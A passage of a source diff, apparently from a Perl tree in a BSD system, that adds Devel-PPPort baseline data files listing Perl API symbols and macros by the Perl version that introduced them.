+PL_sv_no # E
+PL_sv_undef # E
+PL_sv_yes # E
+SvGETMAGIC # U
+do_binmode # E
+my_bcopy # U
+newCONSTSUB # E
+newSVpvn # E
+save_aelem # U
+save_helem # U
+sv_catpv_mg # E
+sv_catpvn_mg # U
+sv_catsv_mg # U
+sv_setiv_mg # E
+sv_setpv_mg # E
+sv_setpvn_mg # E
+sv_setsv_mg # E
+sv_setuv_mg # E
+sv_usepvn_mg # U
+AvFILLp # added by devel/scanprov
+DEFSV # added by devel/scanprov
+ERRSV # added by devel/scanprov
+PL_compiling # added by devel/scanprov
+PL_curcop # added by devel/scanprov
+PL_curstash # added by devel/scanprov
+PL_debstash # added by devel/scanprov
+PL_defgv # added by devel/scanprov
+PL_diehook # added by devel/scanprov
+PL_dirty # added by devel/scanprov
+PL_errgv # added by devel/scanprov
+PL_perl_destruct_level # added by devel/scanprov
+PL_perldb # added by devel/scanprov
+PL_stack_base # added by devel/scanprov
+PL_stack_sp # added by devel/scanprov
+PL_stdingv # added by devel/scanprov
+PL_sv_arenaroot # added by devel/scanprov
+PL_tainted # added by devel/scanprov
+PL_tainting # added by devel/scanprov
+SAVE_DEFSV # added by devel/scanprov
+dTHR # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005000
new file mode 100644
index 00000000000..070a690e903
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005000
@@ -0,0 +1,38 @@
+5.005000
+PL_curpad # E
+PL_modglobal # E
+cx_dump # U
+debop # U
+debprofdump # U
+fbm_compile # E (Perl_fbm_compile)
+fbm_instr # E (Perl_fbm_instr)
+get_op_descs # E
+get_op_names # E
+init_stacks # E
+mg_length # E
+mg_size # E
+newHVhv # E
+new_stackinfo # E
+regdump # U
+regexec_flags # E
+regnext # E (Perl_regnext)
+runops_debug # E
+runops_standard # E
+save_iv # E (save_iv)
+save_op # U
+sv_iv # E
+sv_peek # U
+sv_pvn # E
+sv_true # E
+sv_uv # E
+CPERLscope # added by devel/scanprov
+END_EXTERN_C # added by devel/scanprov
+EXTERN_C # added by devel/scanprov
+NOOP # added by devel/scanprov
+PL_DBsignal # added by devel/scanprov
+PL_Sv # added by devel/scanprov
+PL_hexdigit # added by devel/scanprov
+PL_hints # added by devel/scanprov
+PL_laststatval # added by devel/scanprov
+PL_statcache # added by devel/scanprov
+START_EXTERN_C # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005010 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005010
new file mode 100644
index 00000000000..deebff5bf8a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005010
@@ -0,0 +1 @@
+5.005010
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005020 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005020
new file mode 100644
index 00000000000..d19ff2ae09e
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005020
@@ -0,0 +1 @@
+5.005020
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005030 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005030
new file mode 100644
index 00000000000..f268c751dad
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005030
@@ -0,0 +1,4 @@
+5.005030
+POPpx # E
+get_vtbl # E
+save_generic_svref # E
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005040 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005040
new file mode 100644
index 00000000000..8a165c20337
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5005040
@@ -0,0 +1 @@
+5.005040
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006000
new file mode 100644
index 00000000000..6cf8275d7e2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006000
@@ -0,0 +1,293 @@
+5.006000
+DO_UTF8 # U
+PERL_SYS_INIT3 # U
+POPn # E
+POPul # E
+PUSHn # E
+SvIOK_UV # U
+SvIOK_notUV # U
+SvIOK_only_UV # U
+SvNV # E
+SvNVX # E
+SvNV_set # E
+SvNVx # E
+SvPOK_only_UTF8 # U
+SvPV_nolen # U
+SvPVbyte # U
+SvPVbyte_nolen # U
+SvPVbytex # U
+SvPVbytex_force # U
+SvPVutf8 # U
+SvPVutf8_force # U
+SvPVutf8_nolen # U
+SvPVutf8x # U
+SvPVutf8x_force # U
+SvUTF8 # U
+SvUTF8_off # U
+SvUTF8_on # U
+UTF8SKIP # U
+XPUSHn # E
+XSRETURN_NV # E
+XST_mNV # E
+av_delete # E
+av_exists # E
+call_argv # E (perl_call_argv)
+call_atexit # E
+call_method # E (perl_call_method)
+call_pv # E (perl_call_pv)
+call_sv # E (perl_call_sv)
+cast_i32 # E (cast_i32)
+cast_iv # E (cast_iv)
+cast_ulong # E
+cast_uv # E (cast_uv)
+croak # E (Perl_croak)
+die # E (Perl_die)
+do_gv_dump # E
+do_gvgv_dump # E
+do_hv_dump # E
+do_magic_dump # E
+do_op_dump # E
+do_open9 # E
+do_pmop_dump # E
+do_sv_dump # E
+dump_all # U
+dump_eval # U
+dump_form # U
+dump_indent # E
+dump_packsubs # U
+dump_sub # U
+dump_vindent # E
+eval_pv # E (perl_eval_pv)
+eval_sv # E (perl_eval_sv)
+form # E (Perl_form)
+get_av # E (perl_get_av)
+get_context # U
+get_cv # E (perl_get_cv)
+get_hv # E (perl_get_hv)
+get_ppaddr # E
+get_sv # E (perl_get_sv)
+gv_dump # E
+init_i18nl10n # E (perl_init_i18nl10n)
+init_i18nl14n # E (perl_init_i18nl14n)
+isASCII # U
+isCNTRL # U
+isGRAPH # U
+isPUNCT # U
+isXDIGIT # U
+is_uni_alnum # E
+is_uni_alnum_lc # E
+is_uni_alpha # E
+is_uni_alpha_lc # E
+is_uni_ascii # E
+is_uni_ascii_lc # E
+is_uni_cntrl # E
+is_uni_cntrl_lc # E
+is_uni_digit # E
+is_uni_digit_lc # E
+is_uni_graph # E
+is_uni_graph_lc # E
+is_uni_idfirst # E
+is_uni_idfirst_lc # E
+is_uni_lower # E
+is_uni_lower_lc # E
+is_uni_print # E
+is_uni_print_lc # E
+is_uni_punct # E
+is_uni_punct_lc # E
+is_uni_space # E
+is_uni_space_lc # E
+is_uni_upper # E
+is_uni_upper_lc # E
+is_uni_xdigit # E
+is_uni_xdigit_lc # E
+is_utf8_alnum # E
+is_utf8_alpha # E
+is_utf8_ascii # E
+is_utf8_char # U
+is_utf8_cntrl # E
+is_utf8_digit # E
+is_utf8_graph # E
+is_utf8_idfirst # E
+is_utf8_lower # E
+is_utf8_mark # E
+is_utf8_print # E
+is_utf8_punct # E
+is_utf8_space # E
+is_utf8_upper # E
+is_utf8_xdigit # E
+load_module # E
+magic_dump # E
+mess # E (Perl_mess)
+my_atof # E
+my_fflush_all # E
+newANONATTRSUB # E
+newATTRSUB # U
+newSVnv # E (Perl_newSVnv)
+newSVpvf # E (Perl_newSVpvf)
+newSVuv # E
+newXS # E (Perl_newXS)
+newXSproto # E
+new_collate # E (perl_new_collate)
+new_ctype # E (perl_new_ctype)
+new_numeric # E (perl_new_numeric)
+op_dump # E
+perl_parse # E (perl_parse)
+pmop_dump # E
+pv_display # E
+re_intuit_string # E
+reginitcolors # E
+require_pv # E (perl_require_pv)
+safesyscalloc # U
+safesysfree # U
+safesysmalloc # U
+safesysrealloc # U
+save_I8 # E
+save_alloc # E
+save_destructor # E (Perl_save_destructor)
+save_destructor_x # E
+save_re_context # E
+save_vptr # E
+scan_bin # E
+scan_hex # E (Perl_scan_hex)
+scan_oct # E (Perl_scan_oct)
+set_context # U
+set_numeric_local # E (perl_set_numeric_local)
+set_numeric_radix # E
+set_numeric_standard # E (perl_set_numeric_standard)
+str_to_version # E
+sv_2pv_nolen # U
+sv_2pvbyte # E
+sv_2pvbyte_nolen # U
+sv_2pvutf8 # E
+sv_2pvutf8_nolen # U
+sv_catpvf # E (Perl_sv_catpvf)
+sv_catpvf_mg # E (Perl_sv_catpvf_mg)
+sv_force_normal # U
+sv_len_utf8 # E
+sv_nv # E (Perl_sv_nv)
+sv_pos_b2u # E
+sv_pos_u2b # E
+sv_pv # U
+sv_pvbyte # U
+sv_pvbyten # E
+sv_pvbyten_force # E
+sv_pvutf8 # U
+sv_pvutf8n # E
+sv_pvutf8n_force # E
+sv_rvweaken # E
+sv_setnv # E (Perl_sv_setnv)
+sv_setnv_mg # E (Perl_sv_setnv_mg)
+sv_setpvf # E (Perl_sv_setpvf)
+sv_setpvf_mg # E (Perl_sv_setpvf_mg)
+sv_setref_nv # E (Perl_sv_setref_nv)
+sv_utf8_decode # E
+sv_utf8_downgrade # E
+sv_utf8_encode # E
+sv_vcatpvf # E
+sv_vcatpvf_mg # E
+sv_vsetpvf # E
+sv_vsetpvf_mg # E
+swash_init # E
+to_uni_lower_lc # E
+to_uni_title_lc # E
+to_uni_upper_lc # E
+utf8_distance # E
+utf8_hop # U
+vcroak # E
+vform # E
+vload_module # E
+vmess # E
+vnewSVpvf # E
+vwarn # E
+vwarner # E
+warn # E (Perl_warn)
+warner # E
+CopFILE # added by devel/scanprov
+CopFILEAV # added by devel/scanprov
+CopFILEGV # added by devel/scanprov
+CopFILEGV_set # added by devel/scanprov
+CopFILESV # added by devel/scanprov
+CopFILE_set # added by devel/scanprov
+CopSTASH # added by devel/scanprov
+CopSTASHPV # added by devel/scanprov
+CopSTASHPV_set # added by devel/scanprov
+CopSTASH_eq # added by devel/scanprov
+CopSTASH_set # added by devel/scanprov
+INT2PTR # added by devel/scanprov
+IVSIZE # added by devel/scanprov
+IVTYPE # added by devel/scanprov
+IVdf # added by devel/scanprov
+NUM2PTR # added by devel/scanprov
+NVTYPE # added by devel/scanprov
+PERL_REVISION # added by devel/scanprov
+PERL_SUBVERSION # added by devel/scanprov
+PERL_VERSION # added by devel/scanprov
+PL_no_modify # added by devel/scanprov
+PL_ppaddr # added by devel/scanprov
+PTR2IV # added by devel/scanprov
+PTR2NV # added by devel/scanprov
+PTR2UV # added by devel/scanprov
+PTRV # added by devel/scanprov
+SVf # added by devel/scanprov
+SVf_UTF8 # added by devel/scanprov
+UVSIZE # added by devel/scanprov
+UVTYPE # added by devel/scanprov
+UVof # added by devel/scanprov
+UVuf # added by devel/scanprov
+UVxf # added by devel/scanprov
+WARN_ALL # added by devel/scanprov
+WARN_AMBIGUOUS # added by devel/scanprov
+WARN_BAREWORD # added by devel/scanprov
+WARN_CLOSED # added by devel/scanprov
+WARN_CLOSURE # added by devel/scanprov
+WARN_DEBUGGING # added by devel/scanprov
+WARN_DEPRECATED # added by devel/scanprov
+WARN_DIGIT # added by devel/scanprov
+WARN_EXEC # added by devel/scanprov
+WARN_EXITING # added by devel/scanprov
+WARN_GLOB # added by devel/scanprov
+WARN_INPLACE # added by devel/scanprov
+WARN_INTERNAL # added by devel/scanprov
+WARN_IO # added by devel/scanprov
+WARN_MALLOC # added by devel/scanprov
+WARN_MISC # added by devel/scanprov
+WARN_NEWLINE # added by devel/scanprov
+WARN_NUMERIC # added by devel/scanprov
+WARN_ONCE # added by devel/scanprov
+WARN_OVERFLOW # added by devel/scanprov
+WARN_PACK # added by devel/scanprov
+WARN_PARENTHESIS # added by devel/scanprov
+WARN_PIPE # added by devel/scanprov
+WARN_PORTABLE # added by devel/scanprov
+WARN_PRECEDENCE # added by devel/scanprov
+WARN_PRINTF # added by devel/scanprov
+WARN_PROTOTYPE # added by devel/scanprov
+WARN_QW # added by devel/scanprov
+WARN_RECURSION # added by devel/scanprov
+WARN_REDEFINE # added by devel/scanprov
+WARN_REGEXP # added by devel/scanprov
+WARN_RESERVED # added by devel/scanprov
+WARN_SEMICOLON # added by devel/scanprov
+WARN_SEVERE # added by devel/scanprov
+WARN_SIGNAL # added by devel/scanprov
+WARN_SUBSTR # added by devel/scanprov
+WARN_SYNTAX # added by devel/scanprov
+WARN_TAINT # added by devel/scanprov
+WARN_UNINITIALIZED # added by devel/scanprov
+WARN_UNOPENED # added by devel/scanprov
+WARN_UNPACK # added by devel/scanprov
+WARN_UNTIE # added by devel/scanprov
+WARN_UTF8 # added by devel/scanprov
+WARN_VOID # added by devel/scanprov
+XSprePUSH # added by devel/scanprov
+aTHX # added by devel/scanprov
+aTHX_ # added by devel/scanprov
+ckWARN # added by devel/scanprov
+dNOOP # added by devel/scanprov
+dTHX # added by devel/scanprov
+dTHXa # added by devel/scanprov
+dTHXoa # added by devel/scanprov
+dXSTARG # added by devel/scanprov
+isALNUMC # added by devel/scanprov
+pTHX # added by devel/scanprov
+pTHX_ # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006001
new file mode 100644
index 00000000000..b3626c0b55f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006001
@@ -0,0 +1,17 @@
+5.006001
+SvGAMAGIC # U
+apply_attrs_string # U
+bytes_to_utf8 # U
+gv_efullname4 # U
+gv_fullname4 # U
+isBLANK # U
+isPSXSPC # U
+is_utf8_string # U
+save_generic_pvref # U
+utf16_to_utf8 # E (Perl_utf16_to_utf8)
+utf16_to_utf8_reversed # E (Perl_utf16_to_utf8_reversed)
+utf8_to_bytes # U
+G_METHOD # added by devel/scanprov
+NVef # added by devel/scanprov
+NVff # added by devel/scanprov
+NVgf # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006002
new file mode 100644
index 00000000000..dfe09ce2c59
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5006002
@@ -0,0 +1 @@
+5.006002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007000
new file mode 100644
index 00000000000..49d08465db8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007000
@@ -0,0 +1 @@
+5.007000
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007001
new file mode 100644
index 00000000000..3de815ec8dd
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007001
@@ -0,0 +1,28 @@
+5.007001
+ASCII_TO_NEED # U
+NATIVE_TO_NEED # U
+POPpbytex # E
+SvUOK # U
+bytes_from_utf8 # U
+despatch_signals # U
+do_openn # U
+gv_handler # U
+is_lvalue_sub # U
+my_popen_list # U
+newSVpvn_share # U
+save_mortalizesv # U
+scan_num # E (Perl_scan_num)
+sv_force_normal_flags # U
+sv_setref_uv # U
+sv_unref_flags # U
+sv_utf8_upgrade # E (Perl_sv_utf8_upgrade)
+utf8_length # U
+utf8_to_uvchr # U
+utf8_to_uvuni # U
+utf8n_to_uvchr # U
+utf8n_to_uvuni # U
+uvchr_to_utf8 # U
+uvuni_to_utf8 # U
+PTR2ul # added by devel/scanprov
+SV_IMMEDIATE_UNREF # added by devel/scanprov
+UVXf # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007002
new file mode 100644
index 00000000000..393fcf1f6b9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007002
@@ -0,0 +1,72 @@
+5.007002
+SvPV_force_nomg # U
+SvPV_nomg # U
+calloc # U
+dAX # E
+dITEMS # E
+getcwd_sv # U
+grok_number # U
+grok_numeric_radix # U
+init_tm # U
+malloc # U
+mfree # U
+mini_mktime # U
+my_atof2 # U
+my_strftime # U
+op_null # U
+realloc # U
+sv_2pv_flags # U
+sv_catpvn_flags # U
+sv_catpvn_nomg # U
+sv_catsv_flags # U
+sv_catsv_nomg # U
+sv_pvn_force_flags # U
+sv_setsv_flags # U
+sv_setsv_nomg # U
+sv_utf8_upgrade_flags # U
+sv_utf8_upgrade_nomg # U
+swash_fetch # E (Perl_swash_fetch)
+GROK_NUMERIC_RADIX # added by devel/scanprov
+IN_LOCALE # added by devel/scanprov
+IN_LOCALE_COMPILETIME # added by devel/scanprov
+IN_LOCALE_RUNTIME # added by devel/scanprov
+IS_NUMBER_GREATER_THAN_UV_MAX # added by devel/scanprov
+IS_NUMBER_INFINITY # added by devel/scanprov
+IS_NUMBER_IN_UV # added by devel/scanprov
+IS_NUMBER_NEG # added by devel/scanprov
+IS_NUMBER_NOT_INT # added by devel/scanprov
+PERL_MAGIC_arylen # added by devel/scanprov
+PERL_MAGIC_backref # added by devel/scanprov
+PERL_MAGIC_bm # added by devel/scanprov
+PERL_MAGIC_collxfrm # added by devel/scanprov
+PERL_MAGIC_dbfile # added by devel/scanprov
+PERL_MAGIC_dbline # added by devel/scanprov
+PERL_MAGIC_defelem # added by devel/scanprov
+PERL_MAGIC_env # added by devel/scanprov
+PERL_MAGIC_envelem # added by devel/scanprov
+PERL_MAGIC_ext # added by devel/scanprov
+PERL_MAGIC_fm # added by devel/scanprov
+PERL_MAGIC_isa # added by devel/scanprov
+PERL_MAGIC_isaelem # added by devel/scanprov
+PERL_MAGIC_nkeys # added by devel/scanprov
+PERL_MAGIC_overload_table # added by devel/scanprov
+PERL_MAGIC_pos # added by devel/scanprov
+PERL_MAGIC_qr # added by devel/scanprov
+PERL_MAGIC_regdata # added by devel/scanprov
+PERL_MAGIC_regdatum # added by devel/scanprov
+PERL_MAGIC_regex_global # added by devel/scanprov
+PERL_MAGIC_sig # added by devel/scanprov
+PERL_MAGIC_sigelem # added by devel/scanprov
+PERL_MAGIC_substr # added by devel/scanprov
+PERL_MAGIC_sv # added by devel/scanprov
+PERL_MAGIC_taint # added by devel/scanprov
+PERL_MAGIC_tied # added by devel/scanprov
+PERL_MAGIC_tiedelem # added by devel/scanprov
+PERL_MAGIC_tiedscalar # added by devel/scanprov
+PERL_MAGIC_uvar # added by devel/scanprov
+PERL_MAGIC_vec # added by devel/scanprov
+PERL_UNUSED_DECL # added by devel/scanprov
+PERL_UNUSED_VAR # added by devel/scanprov
+SV_GMAGIC # added by devel/scanprov
+SvPV_flags # added by devel/scanprov
+SvPV_force_flags # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007003
new file mode 100644
index 00000000000..127a118dae0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5007003
@@ -0,0 +1,83 @@
+5.007003
+OP_DESC # U
+OP_NAME # U
+PL_peepp # E
+PerlIO_clearerr # U (PerlIO_clearerr)
+PerlIO_close # U (PerlIO_close)
+PerlIO_eof # U (PerlIO_eof)
+PerlIO_error # U (PerlIO_error)
+PerlIO_fileno # U (PerlIO_fileno)
+PerlIO_fill # U (PerlIO_fill)
+PerlIO_flush # U (PerlIO_flush)
+PerlIO_get_base # U (PerlIO_get_base)
+PerlIO_get_bufsiz # U (PerlIO_get_bufsiz)
+PerlIO_get_cnt # U (PerlIO_get_cnt)
+PerlIO_get_ptr # U (PerlIO_get_ptr)
+PerlIO_read # U (PerlIO_read)
+PerlIO_seek # U (PerlIO_seek)
+PerlIO_set_cnt # U (PerlIO_set_cnt)
+PerlIO_set_ptrcnt # U (PerlIO_set_ptrcnt)
+PerlIO_setlinebuf # U (PerlIO_setlinebuf)
+PerlIO_stderr # U (PerlIO_stderr)
+PerlIO_stdin # U (PerlIO_stdin)
+PerlIO_stdout # U (PerlIO_stdout)
+PerlIO_tell # U (PerlIO_tell)
+PerlIO_unread # U (PerlIO_unread)
+PerlIO_write # U (PerlIO_write)
+SvLOCK # U
+SvSHARE # U
+SvUNLOCK # U
+atfork_lock # U
+atfork_unlock # U
+custom_op_desc # U
+custom_op_name # U
+deb # U
+debstack # U
+debstackptrs # U
+grok_bin # U
+grok_hex # U
+grok_oct # U
+gv_fetchmeth_autoload # U
+ibcmp_utf8 # U
+my_fork # U
+my_socketpair # U
+pack_cat # U
+perl_destruct # E (perl_destruct)
+pv_uni_display # U
+save_shared_pvref # U
+savesharedpv # U
+sortsv # U
+sv_magicext # U
+sv_nolocking # U
+sv_nosharing # U
+sv_pvn_nomg # U
+sv_recode_to_utf8 # U
+sv_uni_display # U
+to_uni_fold # U
+to_uni_lower # E (Perl_to_uni_lower)
+to_uni_title # E (Perl_to_uni_title)
+to_uni_upper # E (Perl_to_uni_upper)
+to_utf8_case # U
+unpack_str # U
+uvchr_to_utf8_flags # U
+uvuni_to_utf8_flags # U
+vdeb # U
+IS_NUMBER_NAN # added by devel/scanprov
+MY_CXT # added by devel/scanprov
+MY_CXT_INIT # added by devel/scanprov
+PERL_MAGIC_shared # added by devel/scanprov
+PERL_MAGIC_shared_scalar # added by devel/scanprov
+PERL_MAGIC_uvar_elem # added by devel/scanprov
+PERL_SCAN_ALLOW_UNDERSCORES # added by devel/scanprov
+PERL_SCAN_DISALLOW_PREFIX # added by devel/scanprov
+PERL_SCAN_GREATER_THAN_UV_MAX # added by devel/scanprov
+START_MY_CXT # added by devel/scanprov
+_aMY_CXT # added by devel/scanprov
+_pMY_CXT # added by devel/scanprov
+aMY_CXT # added by devel/scanprov
+aMY_CXT_ # added by devel/scanprov
+dMY_CXT # added by devel/scanprov
+dMY_CXT_SV # added by devel/scanprov
+pMY_CXT # added by devel/scanprov
+pMY_CXT_ # added by devel/scanprov
+packWARN # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008000
new file mode 100644
index 00000000000..8af2dfae4d2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008000
@@ -0,0 +1,8 @@
+5.008000
+Poison # E
+hv_iternext_flags # U
+hv_store_flags # U
+is_utf8_idcont # U
+nothreadhook # U
+WARN_LAYER # added by devel/scanprov
+WARN_THREADS # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008001
new file mode 100644
index 00000000000..93df2b486e8
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008001
@@ -0,0 +1,31 @@
+5.008001
+CvPADLIST # E
+PL_comppad # E
+SvVOK # U
+XSRETURN_UV # U
+doing_taint # U
+find_runcv # U
+is_utf8_string_loc # U
+packlist # U
+pad_add_anon # U
+pad_new # E
+pad_tidy # E
+save_bool # U
+savestack_grow_cnt # U
+seed # U
+sv_cat_decode # U
+sv_setpviv # U
+sv_setpviv_mg # U
+unpackstring # U
+C_ARRAY_LENGTH # added by devel/scanprov
+IN_PERL_COMPILETIME # added by devel/scanprov
+PERL_ABS # added by devel/scanprov
+PERL_GCC_BRACE_GROUPS_FORBIDDEN # added by devel/scanprov
+PERL_MAGIC_utf8 # added by devel/scanprov
+PERL_MAGIC_vstring # added by devel/scanprov
+PERL_SCAN_SILENT_ILLDIGIT # added by devel/scanprov
+PERL_SIGNALS_UNSAFE_FLAG # added by devel/scanprov
+PL_signals # added by devel/scanprov
+SV_COW_DROP_PV # added by devel/scanprov
+SV_UTF8_NO_ENCODING # added by devel/scanprov
+XST_mUV # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008002
new file mode 100644
index 00000000000..63aac525fed
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008002
@@ -0,0 +1 @@
+5.008002
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008003
new file mode 100644
index 00000000000..50c6ce1aa14
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008003
@@ -0,0 +1,3 @@
+5.008003
+SvIsCOW # U
+SvIsCOW_shared_hash # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008004 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008004
new file mode 100644
index 00000000000..bb7bcdf66ac
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008004
@@ -0,0 +1 @@
+5.008004
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008005 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008005
new file mode 100644
index 00000000000..7bd2029f4b3
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008005
@@ -0,0 +1 @@
+5.008005
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008006 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008006
new file mode 100644
index 00000000000..ba5cad07ed0
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008006
@@ -0,0 +1 @@
+5.008006
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008007 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008007
new file mode 100644
index 00000000000..7d656f0b9e2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008007
@@ -0,0 +1 @@
+5.008007
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008008 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008008
new file mode 100644
index 00000000000..f17b19ff4b2
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008008
@@ -0,0 +1 @@
+5.008008
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008009 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008009
new file mode 100644
index 00000000000..129e018f45f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5008009
@@ -0,0 +1 @@
+5.008009
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009000 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009000
new file mode 100644
index 00000000000..28bc85958ec
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009000
@@ -0,0 +1,6 @@
+5.009000
+new_version # U
+save_set_svflags # U
+vcmp # U
+vnumify # U
+vstringify # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009001 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009001
new file mode 100644
index 00000000000..0666184e1df
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009001
@@ -0,0 +1,8 @@
+5.009001
+SvIV_nomg # U
+SvUV_nomg # U
+hv_clear_placeholders # U
+hv_scalar # U
+scan_version # E (Perl_scan_version)
+sv_2iv_flags # U
+sv_2uv_flags # U
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009002 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009002
new file mode 100644
index 00000000000..65d7de90726
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009002
@@ -0,0 +1,32 @@
+5.009002
+CopyD # E
+MoveD # E
+PUSHmortal # E
+SvPVbyte_force # U
+UNDERBAR # E
+XCPT_CATCH # E
+XCPT_RETHROW # E
+XCPT_TRY_END # E
+XCPT_TRY_START # E
+XPUSHmortal # E
+ZeroD # E
+dUNDERBAR # E
+dXCPT # E
+find_rundefsvoffset # U
+gv_fetchpvn_flags # U
+gv_fetchsv # U
+mPUSHi # U
+mPUSHn # U
+mPUSHp # U
+mPUSHu # U
+mXPUSHi # U
+mXPUSHn # U
+mXPUSHp # U
+mXPUSHu # U
+op_refcnt_lock # U
+op_refcnt_unlock # U
+savesvpv # U
+vnormal # U
+MY_CXT_CLONE # added by devel/scanprov
+SV_NOSTEAL # added by devel/scanprov
+UTF8_MAXBYTES # added by devel/scanprov
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009003 b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009003
new file mode 100644
index 00000000000..8b69a99fdd9
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/base/5009003
@@ -0,0 +1,66 @@
+5.009003
+Newx # E
+Newxc # E
+Newxz # E
+PL_check # E
+SvMAGIC_set # U
+SvRV_set # U
+SvSTASH_set # U
+SvUV_set # U
+av_arylen_p # U
+ckwarn # U
+ckwarn_d # U
+csighandler # E (Perl_csighandler)
+dAXMARK # E
+dMULTICALL # E
+doref # U
+gv_const_sv # U
+gv_stashpvs # U
+hv_eiter_p # U
+hv_eiter_set # U
+hv_fetchs # U
+hv_name_set # U
+hv_placeholders_get # U
+hv_placeholders_set # U
+hv_riter_p # U
+hv_riter_set # U
+is_utf8_string_loclen # U
+my_sprintf # U
+newGIVENOP # U
+newSVhek # U
+newSVpvs # U
+newSVpvs_share # U
+newWHENOP # U
+pad_compname_type # U
+savepvs # U
+sortsv_flags # U
+sv_catpvs # U
+vverify # U
+HvNAMELEN_get # added by devel/scanprov
+HvNAME_get # added by devel/scanprov
